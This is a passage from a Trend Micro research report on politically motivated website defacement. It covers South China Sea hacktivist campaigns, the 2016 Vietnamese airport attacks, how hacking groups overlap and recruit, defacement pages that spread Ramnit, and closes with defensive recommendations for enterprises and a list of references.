Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 47. Silic defacement page, where you can leave messages Chinese hacktivism group 1937cn joined the defacement war on June 1, 2012. This group created a very long deface page to convince viewers to believe in their message. 1937cn spread that page across 173 sites in five days. StopReclamation and OpChina, 2015 China started reclamation and building on the Spratly archipelago of the South China Sea in April 201530. This action caused a wave of defacement attacks. BloodSec, a Philippine defacer group, launched a #StopReclamation campaign on April 26, 2015. 46 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 48. BloodSec defacement page Tensions escalated a month later. Posting on Pastebin31, defacers from the Philippines and Vietnam declared the beginning of an #OpChina campaign on May 28, 2015. In the announcement, they called themselves ""the united hackers from the Philippines and Vietnam,"" aiming to ""protest your (China) unjust actions over the South China Sea"". At the end of the announcement, they left a note that read ""Expect us! 5/30/2015"". Figure 49. Joint message from Vietnamese and Filipino hackers, and their defacement pages This is the first time defacers from the two South East Asian countries united for a common political cause. A series of attacks hit .cn sites on the date stated in their warning message\xe2\x80\x94August 30, 2015. Most of the victims were .gov.cn sites. The message left by the group Anonymous Philippines asked the Chinese 47 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 50. Retaliation from Chinese hackers On the same day, Chinese defacer team ""1937cn"" retaliated by defacing .vn sites, and blamed it on the joint action of defacers from Philippines and Vietnam. 1937cn also claimed that ""South China Sea is China's inherent territory."" 1937cn's response was very quick\xe2\x80\x94they likely noted the joint announcement of the defacers from the Philippines and Vietnam, and carefully prepared the retaliation. Attacks on Vietnamese Airports, 2016 On July 12, 2016, the Hague Permanent Court of Arbitration ruled in favor of the Philippines against China in an arbitration case about the disputes in the South China Sea. The ruling triggered a series of cyberattacks against Vietnam32. On July 29, 2016, the Chinese hacker group 1937cn attacked two major airports in Vietnam and the website of Vietnam Airlines33. They defaced the home page with the same page used in 2015 during the #OpChina defacement campaign. Then the hacker group leaked client information of Vietnam Airlines34. This was not the first time 1937cn attacked Vietnam Airlines; the group also launched a similar attack on May 30, 2015. government to ""stop the reclamation, do not put or establish any structure in that location."" At the same time, ""AnonGhost"" from Vietnam put out the message, ""Stop the infringements of sovereignty island."" 48 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 51. Client information from Vietnam Airlines The Civil Aviation Administration of Vietnam reported several attacks, supposedly from 1937cn team, on two Vietnam airports within the same day. The IT system for the check-ins of Vietnam Airlines at Tan Son Nhat International Airport was attacked and stopped working. The deface page, which was the same page used on the Vietnam Airlines website, replaced the flight information screens at Noi Bai International Airport. The speaker system at Noi Bai airport was also compromised by hackers for a few minutes, during which the speakers broadcast an announcement against territory dispute. According to the Civil Aviation Administration of Vietnam, the attack caused the delay of 100 flights, affecting thousands of passengers35. This incident might hint at future hacktivism trends: to reach a wider audience, hacktivists could potentially broaden their targets from traditional websites to critical infrastructures such as airports. 49 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Hacking Groups\xe2\x80\x99 Connections and Campaigns Deface groups are formed by a loose affiliation between hackers. They can be defined as ""loose"" since hackers can be affiliated with one or more of these hacking groups, even across territories. Indonesian Code Party AnonCoders Myanmar Noob Hackers gunz_berry Moroccan Ethical Hackers Virus Noir darkshadow-tn Albania Attacker dr.t3rror Fallaga Team Anonymous Albania Arab Warriors Team Anonghosts Figure 52. The hacking group AnonCoders As an example, see the group AnonCoders, which lists gunz_berry, Virus Noir, darkshadow-tn, Albania Attacker and dr.t3rr0r as its core members. However, gunz_berry is also affiliated with Indonesian Code Party, while Virus Noir is affiliated with Moroccan Ethical Hackers, darkshadow-tn with Fallaga Team, and dr.t3rr0r with Myanmar Noob Hackers. Albania Attacker is affiliated with three other groups\xe2\x80\x94Anonymous Albania, Arab Warriors Team, and Anonghosts. AnonCoders shows how hackers can also be members of various groups, and how hackers from different countries can form a group. Other examples showing the liquidity of group membership are Pakistan's two biggest hacking groups: ZCompany Hacking Crew and Muslim Liberation Army. Both have fairly large teams; ZCompany Hacking Crew has at least 30 members, and Muslim Liberation Army has around 26. Below you can see seven hackers who are members of both groups simultaneously, as we've seen defacements made by both teams acknowledging the hackers in their defacement pages within the same time frame. 50 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks ZCompany Hacking Crew Toshiro Sniper MongoOse Don Milan Milo Nabeel XtreMiSt HawkPak Jaguars Angel De Decorum Unknown Tazii Hothead Chf Code HardHunter RoCk Silent Hell Bozz error Zolo Zarrar Velocity Madni Zulfi Dropper Gen Hard Hunter Zology Xaha Unknown Hax TriCk aka Saywhat?MasterMind Muslim Liberation Army Papaas Dorian Gray Radical Assassin Metallic Xenon Syed Zadaa (Mindy) PCCS PCF Bozz Hacker Ibrar Buttz Killer Mind Silence Destiny Cobra Black KillerMind Haxor Faisy Ali LaghariJerry Hassan HyP3r-Boy fAchO Nabeel (Master Mind) Zarb-E-Momin Figure 53. Members of the ZCompany Hacking Crew and the Muslim Liberation Army Collectives Hacking groups can also band together to form bigger groups or collectives. The well-known group Anonymous is a model for this. They can rightly be considered the biggest hacking collective in the world based on the numerous hacking groups who identify and associate themselves with the name \xe2\x80\x9cAnonymous\xe2\x80\x9d. On a smaller scale, a collective can be formed simply to support a campaign. Take, for example, the defacements done by Bangladeshi hackers against Indian websites, triggered by the Cricket World Cup. The collective Rise of the Tigers was borne out of various Bangladeshi hacking groups working together: 3xp1r3 Cyber Army, Blacksmith Hacker's Team, Cyb3r Command0S, Bangladesh Grey Hat Hackers, Bangladesh Black HAT Hackers, Cyber Sword and Bangladesh Script Kidde Hackers. 51 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Campaign Recruitment and Tools Certain individuals or groups loosely organize hacktivism campaigns. They set time frames for a particular campaign, and even use social media to coordinate and launch these campaigns. Figure 54. Facebook calendar used to schedule defacement activities Figure 55. Social media post used to spread templates for defacement scripts 52 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks They use calendar event features like Facebook Events to organize campaigns. They also advertise campaigns on their team pages and actively recruit other hackers and hacking groups to participate. Tools, targets, and defacement page templates are also shared openly by those participating in a campaign. Figure 56. Tools spread through social media and sharing sites 53 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Certain groups also set up team websites to host content, post announcements, and facilitate discussions through forums. These commonly have sections for tutorials, tools, and kits. Figure 57. Different community sites hosting forums, downloads, news and more 54 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Auxiliary Activities of Defacement Groups Besides tools and defacement templates, these groups also share attack techniques. For example, groups post hacking tutorials on GitHub and upload tutorial videos to streaming sites. Figure 58. Tools and tutorials for different hacking activities shared by defacers 55 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Defacers are also contributing to Exploit-DB, which is is an open-source database for sharing exploit codes and security papers. To find the number of defacers that are also active on Exploit-DB, we compared our list of known defacers against this list of authors36 from Exploit-DB: \xe2\x80\xa2 Total defacer/hacker alias that are also listed as Exploit-DB authors: 790 of 7,858 (10.05%) \xe2\x80\xa2 PoC submitted by possible defacers: 6,380 of 36,576 (17.44%) InjEctOr5 CoBRa_21 bd0rk EgiX Mr.SQL HACKERS PAL JosS AtT4CKxT3rR0r1ST t0pP8uZz CWH Underground Hussin X cr4wl3r ajann ZoRLu indoushka 63 64 65 67 68 69 74 96 105 115 121 130 204 221 294 Figure 59. Top 15 defacers who shared exploit codes Web Apps Remote DOS Local Shellcode 83.53% 5.72% 5.63% 4.26% 0.86% Figure 60. Breakdown of exploit types submitted by possible defacers 56 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Escalating into Real-World Terrorism Activities Hackers who participate in defacement and also other forms of hacking can also segue into more serious crimes, possibly also driven by real-world disputes and political agendas. An example would be the case of Team P0ison's founder Junaid Hussain (TriCk), who started notable defacements in 2010. Figure 61. Sample of defaced pages done by TriCk supporting Free Kashmir Hussain was arrested in 2014 for hacking into Katie Kay's (special advisor to British Prime Minister Tony Blair) email account and leaking PM Blair's personal information37. After six months in jail, Junaid Hussain traveled to Syria and joined ISIS. He took the name Abu Hussain al-Britani, and is believed to be the person behind the hack of U.S. Central Command's Twitter and YouTube accounts. He is also believed to have been killed in a US air strike in Syria in 201538. Defaced Sites as Unwitting Infection Sources Aside from actively committing criminal activities, defacement pages can unwitting carriers of malware code. In the course of our research, we saw the malware Ramnit distributed through malicious websites or packaged as fake software installers. Ramnit is an actively developed malware family whose main goal is to steal banking credentials. It also evolved to include worm propagation capabilities, as well as the ability to infect files, including HTML files. Ramnit does this by appending a VBscript code at the end of the HTML file found in the affected machine. The infected HTML file contains code to install a copy of the Ramnit malware. Unfortunately, some defacers\xe2\x80\x99 machines were infected by Ramnit and had their web defacement templates infected to include the malicious VBscript. This, in turn, made their defacement pages unwitting distributors of the Ramnit malware. 57 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks \xe6\x98\x9f ll_azab_siyah_ll KkK1337 xamd fallaga team dulava! Anonymous Arabe Sp@rK CoD3R by:\xe5\xa4\xa7 Team_CC HakANT MrCyberError404 By \xe5\x88\xba\xe5\xbf\x83 Turkhackteam.Org Owner Dzz UMCA chinafans SnIpEr_SA Zalim Baws-DZ AnonGhost BlackVirus Anwar Dreno Med Max By\xef\xbc\x9a\xe5\xb0\x8f\xe5\xba\xb7 gunz_berry H.M.L-\xe5\xb0\x8f\xe5\x8c\x97 Fallaga Team Cyb3r_Sw0rd stupid 51 53 55 56 61 62 68 73 76 78 79 87 93 95 116 118 127 127 129 136 145 152 236 258 276 279 310 399 1,289 1,708 Based on our records, 9,726 defacements were seen to include the Ramnit VBscript. Below are the top 30 defacers who were infected by Ramnit and had their compromised web defacement pages distribute the malware. Most of the defacers were either from Arabic-speaking countries in the Middle East and North Africa or from China. In a serendipitous turn of events, the top defacer that unwittingly spread Ramnit goes by the nickname ""stupid"". Figure 62. Defacers who were unknowingly spreading Ramnit through their defacement pages 58 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Conclusion As seen in the examples above, real-world conflict can trigger web defacement on a large scale. One event can lead to a campaign that brings hacking groups together, and large collectives can sustain defacement campaigns for long periods of time. Most are politically or religiously motivated, and attackers are typically keen to express fervent patriotism over specific causes. While these web defacement activities seem relatively benign, it is plausible for defacers to move on to other hacking activities and criminal behavior. Web Defacements and IoT Web defacements are going to continue in the foreseeable future, and may even become more prevalent as more Internet of Things (IoT) devices are connected online. Figure 63. Router control panel replaced with a hacker\xe2\x80\x99s page 59 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks The above screenshot shows a defaced router control panel, changing the title of the HTML page to ""You hacked from iraq(fb\\arakan"". A lot of people may not realize that IoT devices have stripped down versions of web servers that host their control panels and management consoles. The setup is something that would be relatively easy for a defacer to exploit and compromise. In the case of the router defacement above, the attacker might not even have known that he was able to deface a non-traditional/IoT website. Exploits for vulnerabilities of common web applications or server components are also applicable and effective on non-traditional/IoT websites. It would be simple for a defacer to transition into compromising connected IoT devices. With the growing number of IoT devices, it might be appealing for defacers to continue down that route. Hacktivism in the Future There are various vulnerabilities that attackers exploit to deface websites to push their specific agenda. But despite compromising these web sites that contain potentially sensitive data (PII, account credentials, transaction histories, etc), most defacers have yet to abuse their access further. They are seemingly content just to deface the site. However, the delineation between pure web defacement and cybercriminal or cyberespionage activity is disappearing. Hackers are now increasingly involved in developing web shells (backdoors to maintain access to compromised web servers), and also delving into doxing and leaking stolen data. After defacing websites, the next step would seem to be capitalizing on the available information on compromised sites. Apart from individuals, defacement groups have yet to monetize their activities. According to our data, 99.9% of the web defacement pages are harmless. Pages found containing malicious code are mostly infected by VBS_RAMNIT.SMC. These pages were unknowingly infected, and not intentionally put online to spread malicious code. These defacers had their templates infected by the malware and unwittingly spread the Ramnit malware. A troubling scenario is if these defacement groups decide to monetize their successful hacks by, for example, installing malicious redirections or exploit code in the defacement pages that would then install ransomware. As previously mentioned, so far these defacements have been benign and motivated by real-world conflicts or political agendas. However, cybercriminals could easily use hacks for profit-driven criminal activities. We have already seen some instances of this. There were reports of Indian hackers targeting Pakistani servers and users to install ransomware for ""patriotic"" purposes39. If this continues and escalates, then the line between defacers, hacktivists, and cybercriminals will become even more blurred. 60 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks How can enterprises protect their sites? Based on the major vulnerabilities used by defacers, there are simple steps that can secure servers against these threats. If practiced and deployed consistently, these tips can help enterprises have long-term security: \xe2\x80\xa2 Ensure that basic security policies are employed and maintained long- term: strong passwords, proper administration security policies, and correct configuration. \xe2\x80\xa2 Use web application firewalls to filter, monitor, and block malicious traffic. Security is necessary at the web application level. \xe2\x80\xa2 Practice secure coding. Organizations must implement secure coding standards on all their sites. \xe2\x80\xa2 Regularly use testing tools to ensure deployed codes are secure. \xe2\x80\xa2 Make patching systems and networks a part of standard policy. This prevents cybercriminals from exploiting vulnerabilities in unpatched/ outdated software. \xe2\x80\xa2 Regularly scan web applications for vulnerabilities: Organizations need to check their web apps for vulnerabilities as these can lead to SQL injection and cross-site scripting attacks. \xe2\x80\xa2 Use multi-layered protection that secures vulnerable websites from the common attacks used by defacers. Solutions like Trend Micro\xe2\x84\xa2 Deep Security\xe2\x84\xa2 and Vulnerability Protection provides virtual patching that protects servers and endpoints from threats that may abuse vulnerabilities. 61 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks References 1. Zone-H archives. (n.d.) Zone-H Unrestricted Information. Last accessed on 11 November 2017 at http://www.zone-h.org/ 2. Ibid 3. Hack CN. (n.d.). \xe5 \xa8\xe7\x90\x83\xe8\xa2\xab\xe9\xbb\x91\xe7\xab\x99\xe7\x82\xb9\xe7\xbb\x9f\xe8\xae\xa1|\xe9\xbb\x91\xe5\xae\xa2\xe6\x8a\x80\xe6\x9c\xaf\xe6\xa3\x80\xe6\xb5\x8b|\xe9\xbb\x91\xe5\xae\xa2\xe5 \xa5\xe4\xbe\xb5\xe6\x94\xbb\xe5\x87\xbb. Last accessed on 17 November 2017 at http://www.hack-cn. com/. 4. http://www.mirror-zone.org (offline) 5. H4ck Mirror. (n.d.) Hack Mirror. Last accessed on 16 November 2017 at http://www.hack-mirror.com/. 6. http://www.mydeface.com (offline) 7. BBC Newsround. (20 February 2015). BBC Newsround. \xe2\x80\x9cGuide: Why are Israel and the Palestinians fighting over Gaza?\xe2\x80\x9d Last accessed 16 November 2017 at http://www.bbc.co.uk/newsround/20436092. 8. Al-Islam. (n.d.) AI-Islam.org. \xe2\x80\x9cThe Battle of Badr\xe2\x80\x9d. Last accessed 14 Nov 2017 at https://www.al-islam.org/articles/battle-badr. 9. Yifa Yaakov. (5 August 2014). The Times of Israel. \xe2\x80\x9cAfter 29 days, Operation Protective Edge by the numbers\xe2\x80\x9d. Last accessed 17 November 2017 at https://www.timesofisrael.com/after-29-days-operation-protective-edge-by-the-numbers/. 10. ABC. (8 January 2015). ABC News. \xe2\x80\x9cCharlie Hebdo shooting: 12 people killed, 11 injured, in attack on Paris offices of satirical newspaper\xe2\x80\x9d. Last accessed 14 November 2017 at http://www.abc.net.au/news/2015-01-07/charlie-hebdo-satirical- newspaper-shooting-paris-12-killed/6005524. 11. AFP/Reuters. (16 July 2017). Deutsche Welle. \xe2\x80\x9c'Cyber Army' hacker arrested, says Bulgaria\xe2\x80\x9d. Last accessed 17 November 2017 at http://www.dw.com/en/cyber-army-hacker-arrested-says-bulgaria/a-18586433. 12. Rifat Fareed. (27 Ovtober 2017) Al Jazeera. \xe2\x80\x9c'Black day' in Kashmir marks 1947 Indian army arrival\xe2\x80\x9d. Last accessed 17 November 2017 at http://www.aljazeera.com/news/2017/10/day-kashmir-marks-1947-indian-army-arrival-171027122649223.html. 13. Maps of India. (n.d.) Maps of India. \xe2\x80\x9c26th October 1947: Maharaja Hari Singh agrees to the accession of Jammu and Kashmir to India\xe2\x80\x9d Last accessed 16 November 2017 at https://www.mapsofindia.com/on-this-day/26th-october-1947-maharaja-hari- singh-agrees-to-the-accession-of-jammu-and-kashmir-to-india. 14. Aijaz Hussain. (10 December 2013). The San Diego Union Tribune. \xe2\x80\x9cActivists, families protest Kashmir disappearances\xe2\x80\x9d. Last accessed 13 November 2017 at http://www.sandiegouniontribune.com/sdut-activists-families-protest-kashmir- disappearances-2013dec10-story.html. 15. Rupam Jain. (19 December 2016) Reuters. \xe2\x80\x9cIndia indicts Pakistan-based militants over Pathankot air base attack\xe2\x80\x9d Last accessed 17 November 2017 at http://in.reuters.com/article/india-pakistan-attack/india-indicts-pakistan-based-militants- over-pathankot-air-base-attack-idINKBN1480QO. 16. Hari Kumar and Geeta Anand. (18 September 2016). The New York Times. \xe2\x80\x9c17 Indian Soldiers Killed by Militants in Kashmir\xe2\x80\x9d Last accessed 17 November 2017 at https://www.nytimes.com/2016/09/19/world/asia/17-indian-soldiers-killed-by-militants- in-kashmir.html. 17. Shubhajit Roy. (24 September 2015). The Indian Express. \xe2\x80\x9cMake seven changes to your Constitution: India tells Nepal\xe2\x80\x9d. Last accessed 2 November 2017 at http://indianexpress.com/article/world/neighbours/make-seven-changes-to-your-constitution- address-madhesi-concerns-india-to-nepal/. 18. Medecins Sans Frontieres. (26 April 2016). MSF.org. \xe2\x80\x9cSyria: Update on airstrike at Al Quds hospital\xe2\x80\x9d. Last accessed 17 November 2017 at http://www.msf.org/en/article/syria-update-airstrike-al-quds-hospital. http://www.mirror-zone.org http://www.mydeface.com http://www.bbc.co.uk/newsround/20436092 https://www.al-islam.org/articles/battle-badr https://www.timesofisrael.com/after-29-days-operation-protective-edge-by-the-numbers/ http://www.abc.net.au/news/2015-01-07/charlie-hebdo-satirical-newspaper-shooting-paris-12-killed/6005524 http://www.abc.net.au/news/2015-01-07/charlie-hebdo-satirical-newspaper-shooting-paris-12-killed/6005524 http://www.dw.com/en/cyber-army-hacker-arrested-says-bulgaria/a-18586433 http://www.aljazeera.com/news/2017/10/day-kashmir-marks-1947-indian-army-arrival-171027122649223.html https://www.mapsofindia.com/on-this-day/26th-october-1947-maharaja-hari-singh-agrees-to-the-accession-of-jammu-and-kashmir-to-india https://www.mapsofindia.com/on-this-day/26th-october-1947-maharaja-hari-singh-agrees-to-the-accession-of-jammu-and-kashmir-to-india http://www.sandiegouniontribune.com/sdut-activists-families-protest-kashmir-disappearances-2013dec10-story.html http://www.sandiegouniontribune.com/sdut-activists-families-protest-kashmir-disappearances-2013dec10-story.html http://in.reuters.com/article/india-pakistan-attack/india-indicts-pakistan-based-militants-over-pathankot-air-base-attack-idINKBN1480QO http://in.reuters.com/article/india-pakistan-attack/india-indicts-pakistan-based-militants-over-pathankot-air-base-attack-idINKBN1480QO https://www.nytimes.com/2016/09/19/world/asia/17-indian-soldiers-killed-by-militants-in-kashmir.html https://www.nytimes.com/2016/09/19/world/asia/17-indian-soldiers-killed-by-militants-in-kashmir.html http://indianexpress.com/article/world/neighbours/make-seven-changes-to-your-constitution-address-madhesi-concerns-india-to-nepal/ http://indianexpress.com/article/world/neighbours/make-seven-changes-to-your-constitution-address-madhesi-concerns-india-to-nepal/ http://www.msf.org/en/article/syria-update-airstrike-al-quds-hospital 62 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks 19. Die Morina. (2 Match 2017) Balkan Transitional Justice. \xe2\x80\x9cMitrovica\xe2\x80\x99s Flashpoint Bridge Symbolises Kosovo\xe2\x80\x99s Divisions\xe2\x80\x9d. Last accessed 17 November 2017 at http://www.balkaninsight.com/en/article/mitrovica-s-flashpoint-bridge-symbolises-kosovo-s- divisions-03-01-2017. 20. Tarra Quismundo. (16 April 2016). Inquirer. \xe2\x80\x9cPCG men ordered to pay Taiwan family\xe2\x80\x9d. Last accessed 17 November 2017 at http://globalnation.inquirer.net/138653/pcg-men-ordered-to-pay-taiwan-family. 21. Sofia Wu. (13 May 2013) Focus Taiwan. \xe2\x80\x9cShooting ignites Taiwan-Philippines cyber war \xe2\x80\x9c, Last accessed 16 November 2017 at http://focustaiwan.tw/news/atod/201305130041.aspx. 22. Clifford Trigo. (11 May 2013). Pinoy Hack News. \xe2\x80\x9cPinoy Vendetta sends warning message to Taiwan, defaces 5 websites\xe2\x80\x9d. Last accessed 17 November 2017 at https://www.pinoyhacknews.com/pinoy-vendetta-sends-warning-message-to-taiwan- defaces-5-websites. 23. Petro Vietnam. (1 June 2011) PetroVietnam. \xe2\x80\x9cChinese ships destroy Vietnam sea cable\xe2\x80\x9d. Last accessed 17 November 2017 at https://www.youtube.com/watch?v=w1H6zcuXjJ8. 24. ChinaAZ. (8 June 2011). Cheng Cold Blog. \xe2\x80\x9cMany websites in the South China Sea were attacked by Vietnamese hackers and Chinese hijackers counterattacked\xe2\x80\x9d. Last accessed 17 November 2017 at http://www.bj3gweb.com/Link201106_WebAttack_ ChinaAndVietnam.html. 25. Ibid 26. Kafan. (5 June 2011) Kafan.cn. \xe2\x80\x9cMany domestic websites were attacked by Vietnamese hackers\xe2\x80\x9d. Last accessed on 16 November 2017 at http://bbs.kafan.cn/thread-999960-1-1.html. 27. Xiao Bian. (6 May 2012). Freebuf. \xe2\x80\x9cMy Filipino Maid is a Hackers - China and the Philippines network war\xe2\x80\x9d. Last accessed 16 November 2017 at http://www.freebuf.com/news/913.html. 28. Edwin Lacierda. (23 April 2012). Official Gazette. \xe2\x80\x9cStatement of Presidential Spokesperson Edwin Lacierda\xe2\x80\x9d. Last accessed on 16 November 2017 at http://www.officialgazette.gov.ph/2012/04/23/statement-of-the-presidential-spokesperson-on-the- denial-of-service-attack-on-pcdspo-maintained-websites-april-23-2012/. 29. Rappler. (25 April 2012) Rappler. \xe2\x80\x9cDBM website hacked\xe2\x80\x9d. Last accessed on 24 November 2017 at https://www.rappler.com/ nation/4341-dbm-website-hacked. 30. Reuters. (9 April 2015) CNBC. \xe2\x80\x9cChina mounts detailed defence of South China Sea reclamation\xe2\x80\x9d. Last accessed on 223 November 2017 at http://www.cnbc.com/2015/04/09/china-mounts-detailed-defence-of-south-china-sea-reclamation.html. 31. Pastebin. (28 May 2015) #OpChina Official Index. Last accessed 15 November 2017 at https://pastebin.com/xii97KNy. 32. Anni Piiparinen. (22 July 2016). The Diplomat. \xe2\x80\x9cChina\xe2\x80\x99s Secret Weapon in the South China Sea: Cyber Attacks\xe2\x80\x9d. Last accessed 18 November 2017 at https://thediplomat.com/2016/07/chinas-secret-weapon-in-the-south-china-sea-cyber-attacks/. 33. Vietnam News (29 July 2016). Vietnam News. \xe2\x80\x9cChinese hackers attack VN\xe2\x80\x99s airports and Vietnam Airlines\xe2\x80\x99 website\xe2\x80\x9d. Last accessed 16 November 2017 at http://vietnamnews.vn/society/300416/chinese-hackers-attack-vns-airports-and-vietnam- airlines-website.html#vecZdAWfcqd8iKGz.97. 34. Tara Seals. (29 July 2016). Info-Security Magazine. \xe2\x80\x9cChinese Hackers Attack Airports Across Vietnam\xe2\x80\x9d. Last accessed 15 November 2017 at https://www.infosecurity-magazine.com/news/chinese-hackers-attack-airports/. 35. Vietnam News (29 July 2016). Vietnam News. \xe2\x80\x9cChinese hackers attack VN\xe2\x80\x99s airports and Vietnam Airlines\xe2\x80\x99 website\xe2\x80\x9d. Last accessed 16 November 2017 at http://vietnamnews.vn/society/300416/chinese-hackers-attack-vns-airports-and-vietnam- airlines-website.html#vecZdAWfcqd8iKGz.97. http://www.balkaninsight.com/en/article/mitrovica-s-flashpoint-bridge-symbolises-kosovo-s-divisions-03-01-2017 http://www.balkaninsight.com/en/article/mitrovica-s-flashpoint-bridge-symbolises-kosovo-s-divisions-03-01-2017 http://globalnation.inquirer.net/138653/pcg-men-ordered-to-pay-taiwan-family http://focustaiwan.tw/news/atod/201305130041.aspx https://www.pinoyhacknews.com/pinoy-vendetta-sends-warning-message-to-taiwan-defaces-5-websites https://www.pinoyhacknews.com/pinoy-vendetta-sends-warning-message-to-taiwan-defaces-5-websites https://www.youtube.com/watch?v=w1H6zcuXjJ8 http://www.bj3gweb.com/Link201106_WebAttack_ChinaAndVietnam.html http://www.bj3gweb.com/Link201106_WebAttack_ChinaAndVietnam.html http://bbs.kafan.cn/thread-999960-1-1.html http://www.freebuf.com/news/913.html http://www.officialgazette.gov.ph/2012/04/23/statement-of-the-presidential-spokesperson-on-the-denial-of-service-attack-on-pcdspo-maintained-websites-april-23-2012/ http://www.officialgazette.gov.ph/2012/04/23/statement-of-the-presidential-spokesperson-on-the-denial-of-service-attack-on-pcdspo-maintained-websites-april-23-2012/ https://www.rappler.com/nation/4341-dbm-website-hacked https://www.rappler.com/nation/4341-dbm-website-hacked http://www.cnbc.com/2015/04/09/china-mounts-detailed-defence-of-south-china-sea-reclamation.html https://pastebin.com/xii97KNy https://thediplomat.com/2016/07/chinas-secret-weapon-in-the-south-china-sea-cyber-attacks/ http://vietnamnews.vn/society/300416/chinese-hackers-attack-vns-airports-and-vietnam-airlines-website.html#vecZdAWfcqd8iKGz.97 http://vietnamnews.vn/society/300416/chinese-hackers-attack-vns-airports-and-vietnam-airlines-website.html#vecZdAWfcqd8iKGz.97 https://www.infosecurity-magazine.com/news/chinese-hackers-attack-airports/ http://vietnamnews.vn/society/300416/chinese-hackers-attack-vns-airports-and-vietnam-airlines-website.html#vecZdAWfcqd8iKGz.9 http://vietnamnews.vn/society/300416/chinese-hackers-attack-vns-airports-and-vietnam-airlines-website.html#vecZdAWfcqd8iKGz.9 63 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks 36. GitHub. The Official Exploit Database Repository. Last accessed on 16 November 2017 at https://github.com/offensive- security/exploit-database. 37. Gianlucca Mezzofiore. (2 July 2014). International Business Times. \xe2\x80\x9cTeam Poison's Junaid Hussain Jailed for Tony Blair Hack and Phone Bombing Anti-Terror Hotline\xe2\x80\x9d. Last accessed on 20 November 2017 at http://www.ibtimes.co.uk/team-poison- phone-bomb-hacker-anti-terror-367660. 38. Spencer Ackerman, Ewan MacAskillin and Alice Ross. (27 August 2015). The Guardian. \xe2\x80\x9cJunaid Hussain: British hacker for Isis believed killed in US air strike\xe2\x80\x9d. Last accessed 16 November 2017 at https://www.theguardian.com/world/2015/aug/27/junaid- hussain-british-hacker-for-isis-believed-killed-in-us-airstrike. 39. India Defense News. (7 October 2016). India Defense News. ""\xe2\x80\x98Patriotic\xe2\x80\x99 Indian Hackers Lock Pakistani Websites and Refuse to Give Back the Key"". Last accessed on November 17 at http://www.indiandefensenews.in/2016/10/patriotic-indian-hackers- lock-pakistani.html. https://github.com/offensive-security/exploit-database https://github.com/offensive-security/exploit-database http://www.ibtimes.co.uk/team-poison-phone-bomb-hacker-anti-terror-367660 http://www.ibtimes.co.uk/team-poison-phone-bomb-hacker-anti-terror-367660 https://www.theguardian.com/world/2015/aug/27/junaid-hussain-british-hacker-for-isis-believed-killed-in-us-airstrike https://www.theguardian.com/world/2015/aug/27/junaid-hussain-british-hacker-for-isis-believed-killed-in-us-airstrike http://www.indiandefensenews.in/2016/10/patriotic-indian-hackers-lock-pakistani.html http://www.indiandefensenews.in/2016/10/patriotic-indian-hackers-lock-pakistani.html \xc2\xa92018 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. TREND MICROTM Trend Micro Incorporated, a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server, and cloud-based security that fits our customers\xe2\x80\x99 and partners\xe2\x80\x99 needs; stops new threats faster; and protects data in physical, virtualized, and cloud environments. Powered by the Trend Micro\xe2\x84\xa2 Smart Protection Network\xe2\x84\xa2 infrastructure, our industry-leading cloud-computing security technology, products and services stop threats where they emerge, on the Internet, and are supported by 1,000+ threat intelligence experts around the globe. For additional information, visit www.trendmicro.com. Created by: The Global Technical Support and R&D Center of TREND MICRO www.trendmicro.com A Deep Drive into Defacement Contents Introduction Our Approach to the Investigation Targets and Methods of Website Defacers The Role of Social Media Real-World Conflicts Reflected in Cyberspace Conflicts Spark Anti-Israel Defacement Campaigns Target TLDs of #OpIsrael Defacements #OpIsrael #OpIsrael Sub-campaigns #OpBader / #ElectronicBader / #BaderOperation #OpSaveGaza #Save Gaza Groups behind the Campaigns Charlie Hebdo Aftermath Results in #OpFrance Target TLDs of #OpFrance Defacements Groups Behind the Campaigns Indian Border Disputes Trigger Campaigns Target TLD\xe2\x80\x99s of #OpIndia Cricket leads to #riseofthetigers Free Kashmir Nationalism Inspires Retaliatory Hacking Fallout of the Attacks between India and its Neighbors Groups behind the Attacks Military Actions prompt a #SaveSyria Campaign Target TLDs of #SaveSyria Campaigns Provoked by Kosovo Disputes Disputes in the South China Sea OpPhilippines and OpTaiwan Defacements over Territory Early Attacks in 2011 OpChinaDown, 2012 StopReclamation and OpChina, 2015 Attacks on Vietnamese Airports, 2016 Hacking Groups\xe2\x80\x99 Connections and Campaigns Collectives Campaign Recruitment and Tools Auxiliary Activities of Defacement Groups Escalating into Real-World Terrorism Activities Defaced Sites as Unwitting Infection Sources Conclusion Web Defacements and IoT Hacktivism in the Future How can enterprises protect their sites? 